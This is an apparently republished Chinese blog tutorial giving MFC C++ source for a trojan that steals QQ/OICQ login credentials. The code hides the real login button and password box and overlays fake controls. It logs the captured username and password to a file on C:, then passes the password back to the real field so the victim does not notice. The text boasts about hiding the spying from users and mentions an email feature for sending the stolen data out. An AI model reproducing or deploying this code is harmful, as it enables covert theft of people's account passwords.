zoukankan      html  css  js  c++  java
  • 盗取账户密码的代码,额,囧

    偷梁换柱盗取OICQ密码    
       
      Internet的发展,带动了IT界的一次大飞跃,黑客的活动也随之日益猖獗,攻击手法不断变化。各种黑客程序也是层出不穷,木马程序更是花样百出。 如:监视键盘按键、替换登录程序等,现在我就来介绍另一种攻击手法,替换登录程序按钮。这招绝吧!现在我就来将方法介绍一下。  
      就拿我们很熟悉的OICQ来作一个例子,看看程序到底是如何实现偷梁换柱的。要替换OICQ的登录程序的按钮与密码框,首先就得捕获OICQ登录程序的登 录按钮和密码框句柄。哈哈,要是换上了我们自己的按钮与密码框,不就是想干什么就干什么了吗。  
       
       
       我们要取得4个CWnd句柄,分另是:用户号码的CComBox、用户口令CEdit、登录按扭CButton、主对话框句柄。  
       
      m_hOicq=FindWindow(NULL,"QQ用户登录");  
      m_hOk=CWnd::FromHandle(FindWindowEx(m_hOicq-> GetSafeHwnd(),NULL,"BUTTON","登录"));  
      m_hEdit=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"EDIT",NULL));  
      m_hCom=CWnd::FromHandle(FindWindowEx(m_hOicq->GetSafeHwnd(),NULL,"ComboBox",NULL));  
      ///上面的m_hOicq,m_hOk,m_hEdit,m_hCom分别为CWnd   *类型    
      有了这四个句柄,接下来的事就好办多了,那现在我们就直接生成一个按扭和一个编辑框吧。代码如下   CFont   *m_font=m_hOk->GetFont();  
      CFont   *m_font1=m_hEdit->GetFont();  
      CRect   rect;  
      CRect   rect1;  
      m_hOk->GetWindowRect(rect);  
      m_hOk->ScreenToClient(rect);  
      m_hEdit->GetWindowRect(rect1);  
      m_hEdit->ScreenToClient(rect1);  
      rect.left+=14;  
      rect.top+=117;  
      rect.bottom+=117;  
      rect.right+=14;  
      rect1.left+=110;  
      rect1.top+=56;  
      rect1.bottom+=56;  
      rect1.right+=110;  
      m_hOk->ShowWindow(SW_HIDE);//隐藏登录按钮  
      m_hEdit->ShowWindow(SW_HIDE);//银藏密码框  
      if(m_button.Create("登 录",WS_CHILD|WS_VISIBLE|WS_TABSTOP|BS_DEFPUSHBUTTON,rect,m_hOicq,IDC_STARTBUTTON)==FALSE)  
      MessageBox("error");  
      m_button.SetFont(m_font,TRUE);  
      m_button.SetWnd(this);  
      m_button.SetID(IDC_STARTBUTTON);  
      if(m_edit.CreateEx(0x204,"Edit","",0x500100A0,rect1,m_hOicq,IDC_MYEDIT)==FALSE)  
      MessageBox("error1");  
      m_edit.SetFont(m_font1,TRUE);  
      m_edit.SetFocus();  
      m_edit.SetWnd(this);  
       
      上面代码中的m_button为CMyButton类型变量,m_edit为CMyEdit类型变量,请继续往下看。  
       
      这两个控件生成了!但是光生成两个控件还没用,我们得让两个控件告诉我们什么时候按了回车,什么时候点击了Mouse左键。那就得对EDIT、 BUTTON做一下处理才行。用ClassWinzard生成二个派生类CMyEdit、CMyButton,分别生成WM_LBUTTONUP、 PreTranslateMessage,让它处理相应的按键事件。并通讯事件发个消息给我的主对话框,那就要取得我的对话框的句柄,在两个派生类中分别 生成函数  
      SetWnd(CWnd   *pWnd)用于告知主对话框的窗口句柄。  
      在CMyEdit的   PreTranslateMessage(MSG*   pMsg)中输入    
      if(pMsg->message==WM_KEYDOWN)  
      {  
      if(pMsg->wParam==VK_RETURN)  
      m_wnd->SendMessage(WM_ButtonDown,0,0);  
      }  
       
       
      在CMyButton的OnLButtonUp(UINT   nFlags,   CPoint   point)中输入  
       
      m_wnd->SendMessage(WM_ButtonDown,0,0);  
       
      以上将一个消息发送到我的对话框,我得把消息处里一下,做的干净漂亮些,这样用的人才不会知道我个木马程序在偷偷监视他们    
      CString   Password,cc;  
      char   LoginName[20]   ;  
      memset(LoginName,0,20);  
      ::SendMessage(m_hCom->GetSafeHwnd(),   WM_GETTEXT,   20,   (LPARAM)LoginName);  
      m_edit.GetWindowText(Password);  
      m_edit.ShowWindow(SW_HIDE);  
      m_hEdit->ShowWindow(SW_SHOW);  
      m_hOk->ShowWindow(SW_SHOW);  
      cc=0x0d;  
      cc+=0x0a;  
      CFileFind   m_find;  
      CFile   m_file;  
      if(!m_find.FindFile("c:\\oicqlog.dat"))  
      m_file.Open("c:\\oicqlog.dat",CFile::modeCreate|CFile::modeWrite,NULL);  
      else  
      {  
      m_file.Open("c:\\oicqlog.dat",CFile::modeWrite);  
      m_file.SeekToEnd();  
      }  
      m_file.Write(cc,cc.GetLength());  
      m_file.Write(LoginName,sizeof(LoginName));  
      m_file.Write(cc,cc.GetLength());  
      m_file.Write(Password,Password.GetLength());  
      m_file.Close();  
      m_hEdit->SetFocus();  
      char   *ee=Password.GetBuffer(Password.GetLength());  
      ::SendMessage(m_hEdit->GetSafeHwnd(),WM_SETTEXT,20,(LPARAM)ee);  
      keybd_event(VK_RETURN,0,0,0);  
      keybd_event(VK_RETURN,0,2,0);    
      return   TRUE;  
       
       
      好了,一个简单的木马程序就写完了,如果再加上Email的功能,那就变得更完美了,具体细节可以分析作者提供的源代码,该代码可以设定EMAIL信 箱,SMTP服务器,一次发送数量,密码文件位置。  
      示例程序的简单使用方法:按"捕获"按钮后程序被隐藏,当打开QQ时,QQ上的按钮已经被替换,登陆信息被记录在您所设置的密码文件中。请勿将此代码用于 非法目的。
    大部分转载 小部分自写
  • 相关阅读:
    《超级迷宫》需求规格说明
    超级迷宫冲刺个人计划安排
    审评(HelloWorld团队)
    C语言中的++与*
    a、b交换
    微服务架构浅析及实践心得
    Servlet版本冲突引起的Error
    并发编程:一个100%会发生死锁的程序
    单元测试与Mockito
    Java基础:HashMap假死锁问题的测试、分析和总结
  • 原文地址:https://www.cnblogs.com/8586/p/1708748.html
Copyright © 2011-2022 走看看